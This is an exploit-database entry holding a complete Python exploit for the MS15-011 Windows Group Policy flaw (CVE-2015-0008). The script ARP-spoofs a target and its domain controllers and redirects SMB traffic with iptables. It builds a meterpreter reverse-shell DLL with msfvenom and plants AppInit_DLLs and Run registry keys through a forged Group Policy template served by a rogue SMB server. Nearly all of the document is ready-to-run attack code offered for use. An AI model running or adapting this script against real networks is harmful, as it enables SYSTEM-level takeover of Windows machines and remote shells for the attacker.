Microsoft Windows Server 2012 - 'Group Policy' Remote Code Execution (MS15-011)

# Exploit Title: Microsoft Windows Server 2012 - 'Group Policy' Remote Code Execution
# Date: 2019-10-28
# Exploit Author: Thomas Zuk
# Version: Windows Server 2003, Windows Vista, Windows Server 2008, Windows 7, Windows Server 2008 R2, Windows 8, Windows Server 2012, 
# Windows RT, Windows 8.1, Windows Server 2012 R2, and Windows RT 8.1
# Tested on: Windows 7 , Windows Server 2012
# CVE : CVE-2015-0008
# Type: Remote
# Platform: Windows

# Description: While there exists multiple advisories for the vulnerability and video demos of 
# successful exploitation there is no public exploit-code for MS15-011 (CVE-2015-0008). This exploit code 
# targets vulnerable systems in order to modify registry keys to disable SMB signing, achieve SYSTEM level 
# remote code execution (AppInit_DLL) and a user level remote code execution (Run Keys).

#!/usr/bin/python3

import argparse
import os
import subprocess
import socket
import fcntl
import struct

# MS15-011 Exploit.
# For more information and any updates/additions this exploit see the following Git Repo: https://github.com/Freakazoidile/Exploit_Dev/tree/master/MS15-011
# Example usage: python3 ms15-011.py -t 172.66.10.2 -d 172.66.10.10 -i eth1
# Example usage with multiple DC's: python3 ms15-011.py -t 172.66.10.2 -d 172.66.10.10 -d 172.66.10.11 -d 172.66.10.12 -i eth1
# Questions @Freakazoidile on twitter or make an issue on the GitHub repo. Enjoy.

def arpSpoof(interface, hostIP, targetIP):
    arpCmd = "arpspoof -i %s %s %s " % (interface, hostIP, targetIP)
    arpArgs = arpCmd.split()
    print("Arpspoofing: %s" % (arpArgs))
    p = subprocess.Popen(arpArgs, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)

    
def karmaSMB(hostIP):
    print("reverting GptTmpl.inf from bak")
    os.system("cp GptTmpl.inf.bak GptTmpl.inf")
    appInit = 'MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\AppInit_DLLs=1,"\\\\%s\\SYSVOL\\share.dll"\r\n' % (hostIP)
    CURunKey = 'MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\Key=1,"rundll32.exe \\\\%s\\SYSVOL\\share.dll",1\r\n' % (hostIP)
    f = open("GptTmpl.inf","a", encoding='utf-16le')
    f.write(appInit)
    f.write(CURunKey)
    f.close()
    
    path = os.getcwd()
    
    fConfig = open("smb.conf","w")
    fConfig.write("ini = "+path+"/gpt.ini\ninf = "+path+"/GptTmpl.inf\ndll = "+path+"/shell.dll\n")
    fConfig.close()

    karmaCmd = "python karmaSMB.py -config smb.conf -smb2support ./ "
    os.system(karmaCmd)


def iptables_config(targetIP, hostIP):
    print('[+] Running command: echo "1" > /proc/sys/net/ipv4/ip_forward')
    print('[+] Running command: iptables -t nat -A PREROUTING -p tcp -s %s --destination-port 445 -j DNAT --to-destination %s' % (targetIP, hostIP))
    print('[+] Running command: iptables -t nat -A PREROUTING -p tcp -s %s --destination-port 139 -j DNAT --to-destination %s' % (targetIP, hostIP))
    print('[+] Running command: iptables -t nat -A POSTROUTING -j MASQUERADE')
    os.system('echo "1" > /proc/sys/net/ipv4/ip_forward')
    os.system('iptables -t nat -A PREROUTING -p tcp -s %s --destination-port 445 -j DNAT --to-destination %s' % (targetIP, hostIP))
    os.system('iptables -t nat -A PREROUTING -p tcp -s %s --destination-port 139 -j DNAT --to-destination %s' % (targetIP, hostIP))
    os.system('iptables -t nat -A POSTROUTING -j MASQUERADE')


def get_interface_address(ifname):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    return socket.inet_ntoa(fcntl.ioctl(s.fileno(), 0x8915, struct.pack('256s', bytes(ifname[:15], 'utf-8')))[20:24])

def generatePayload(lhost, lport):
    print("generating payload(s) and metasploit resource file")
    msfDll = "msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=%s lport=%s -f dll -o shell.dll" % (lhost, lport)
    os.system(msfDll)
    msfResource = "use multi/handler\nset payload windows/x64/meterpreter/reverse_tcp\nset lhost %s\nset lport %s\nset exitonsession false\nexploit -j\n" % (lhost, lport)
    print("metasploit resource script: %s" % msfResource)
    print ("metasploit resource script written to meta_resource.rc type 'msfconsole -r meta_resource.rc' to launch metasploit and stage a listener automatically")
    
    file = open("meta_resource.rc", "w+")
    file.write(msfResource)
    file.close()
        


if __name__ == '__main__':

    parser = argparse.ArgumentParser()

    # Add arguments
    parser.add_argument("-t", "--target_ip", help="The IP of the target machine vulnerable to ms15-011/14", required=True)
    parser.add_argument("-d", "--domain_controller", help="The IP of the domain controller(s) in the target domain. Use this argument multiple times when multiple domain contollers are preset.\nE.G: -d 172.66.10.10 -d 172.66.10.11", action='append', required=True)
    parser.add_argument("-i", "--interface", help="The interface to use. E.G eth0", required=True)
    parser.add_argument("-l", "--lhost", help="The IP to listen for incoming connections on for reverse shell. This is optional, uses the IP from the provided interface by default. E.G 192.168.5.1", required=False)
    parser.add_argument("-p", "--lport", help="The port to listen connections on for reverse shell. If not specified 4444 is used. E.G 443", required=False)

    args = parser.parse_args()

    # Check for KarmaSMB and GptTmpl.inf.bak, if missing download git repo with these files.
    print ("checking for missing file(s)")
    if not os.path.isfile("karmaSMB.py") and not os.path.isfile("GptTmpl.inf.bak"):
        print("Requirements missing. Downloading required files from github")
        os.system("git clone https://github.com/Freakazoidile/MS15-011-Files")
        os.system("mv MS15-011-Files/* . && rm -rf MS15-011-Files/")

    # Get the provided interfaces IP address
    ipAddr = get_interface_address(args.interface)

    if args.lhost is not None:
        lhost = args.lhost
    else:
        lhost = ipAddr

    if args.lport is not None:
        lport = args.lport
    else:
        lport = '4444'
    

    dcSpoof = ""
    dcCommaList = ""
    count = 0
  
    # loop over the domain controllers, poison each and target the host IP
    # create a comma separated list of DC's
    # create a "-t" separate list of DC's for use with arpspoof
    for dc in args.domain_controller:
        dcSpoof += "-t %s " % (dc)
        if count > 0: 
            dcCommaList += ",%s" % (dc)
        else:
            dcCommaList += "%s" % (dc)

        arpSpoof(args.interface, dc, "-t %s" % (args.target_ip))
        count += 1

    # arpspoof the target and all of the DC's
    arpSpoof(args.interface, args.target_ip, dcSpoof)

    # generate payloads
    generatePayload(lhost, lport)

    # Setup iptables forwarding rules
    iptables_config(args.target_ip, ipAddr)

    #run Karmba SMB Server
    karmaSMB(ipAddr)
   
    
    print("Targeting %s by arp spoofing %s and domain controllers: %s " % (args.target_ip, args.target_ip, args.domain_controllers))
    print("If you interupt/stop the exploit ensure you stop all instances of arpspoof and flush firewall rules!")